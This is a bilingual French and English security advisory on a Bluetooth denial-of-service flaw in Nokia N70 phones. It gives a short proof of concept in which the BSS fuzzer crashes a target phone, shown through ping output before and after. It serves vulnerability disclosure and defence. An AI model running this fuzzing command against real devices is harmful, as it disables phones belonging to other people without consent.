Résumé : Les téléphones portables de la marque scandinave Nokia, modèle N70 sont eux aussi faillibles au Déni de Service provoqué sur la pile Bluetooth via l'utilitaire BSS (cf. bulletin de sécurité pour les téléphones de la marque Sony/Ericsson), Proof of Concept inclu permettant de démontrer la faisabilité du DoS.
[Version francaise] -
[English version]
La plupart des téléphones mobiles de la marque Nokia sont vendus avec des fonctions Bluetooth. Ces fonctions ne sont pas activées par défaut.
Plus d'informations sur les téléphones de cette marque sur
lien
En fonction de la version du "Firmware" (logiciel embarqué) et du modèle, l'appareil peut être stoppé (DoS) ou afficher un message "System Error" (
lien )
D'autres modèles de la marque peuvent également être faillibles à ce DoS et doivent être testés avec l'utilitaire de fuzzing Bluetooth Stack Smasher (cf. BSS
lien ).
Aucune mise à jour de ce "Firmware" n'est disponible pour l'instant, la seule solution possible est de désactiver les fonctions Bluetooth lorsque vous n'en avez pas besoin.
Un nouveau "Firmware" sera peut être disponible auprès du vendeur sous peu.
Proof of Concept :
------------------
# l2ping -c 3 00:15:A0:XX:XX:XX
Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 44) ...
0 bytes from 00:15:A0:XX:XX:XX id 0 time 64.18ms
0 bytes from 00:15:A0:XX:XX:XX id 1 time 43.94ms
0 bytes from 00:15:A0:XX:XX:XX id 2 time 37.25ms
3 sent, 3 received, 0% loss
# ./bss -m 12 -s 1000 00:15:A0:XX:XX:XX
(... snip ...)
# l2ping -c 1 00:15:A0:XX:XX:XX
Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 248) ...
no response from 00:80:37:ZZ:ZZ:ZZ id 0
1 sent, 0 received, 100% loss
Autres ressources sur la sécurité Bluetooth :
[Dossier Sécurité Bluetooth - partie 1] Introduction aux technologies Bluetooth
lien
[Dossier Sécurité Bluetooth - partie 2] Présentation des utilitaires Bluetooth
lien
[Dossier Sécurité Bluetooth - partie 3] Les attaques génériques
lien
[Dossier Sécurité Bluetooth - partie 4] Les attaques d'implémentations
lien
[Dossier Sécurité Bluetooth - partie 5] Scénarios possibles & synthèse
lien
[Infratech - vulnérabilité] PoC pour le DoS sur les téléphones portables Sony/Ericsson
lien
[Infratech - vulnérabilité] Déni de Service sur les téléphones mobiles Sony/Ericsson
lien
[Infratech - vulnérabilité] PoC pour le DoS sur hcidump
lien
[Infratech - vulnérabilité] Déni de Service sur hcidump
lien
[Infratech - release] BSS - Bluetooth Stack Smasher v0.6
lien
[English Version] -
[Version francaise]
Most of Nokia cell phones sold now are Bluetooth compliant. Bluetooth is not enabled by default.
Lots of users use it with several other devices (earsets, GPS systems, and so on).
More information about these devices on
lien
This flaw was found using the BSS tool ( Bluetooth Stack Smasher :
lien ).
According to the firmware version and to the model, the device can be halted or can display a "System error" message (
lien )
Other Nokia devices may be affected and should be tested with bss fuzzer. Solution is to switch off bluetooth on the phone.
A firmware upgrade may be distributed later by vendor.
Proof of Concept :
------------------
# l2ping -c 3 00:15:A0:XX:XX:XX
Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 44) ...
0 bytes from 00:15:A0:XX:XX:XX id 0 time 64.18ms
0 bytes from 00:15:A0:XX:XX:XX id 1 time 43.94ms
0 bytes from 00:15:A0:XX:XX:XX id 2 time 37.25ms
3 sent, 3 received, 0% loss
# ./bss -m 12 -s 1000 00:15:A0:XX:XX:XX
(... snip ...)
# l2ping -c 1 00:15:A0:XX:XX:XX
Ping: 00:15:A0:XX:XX:XX from 00:20:E0:75:83:DA (data size 248) ...
no response from 00:80:37:ZZ:ZZ:ZZ id 0
1 sent, 0 received, 100% loss
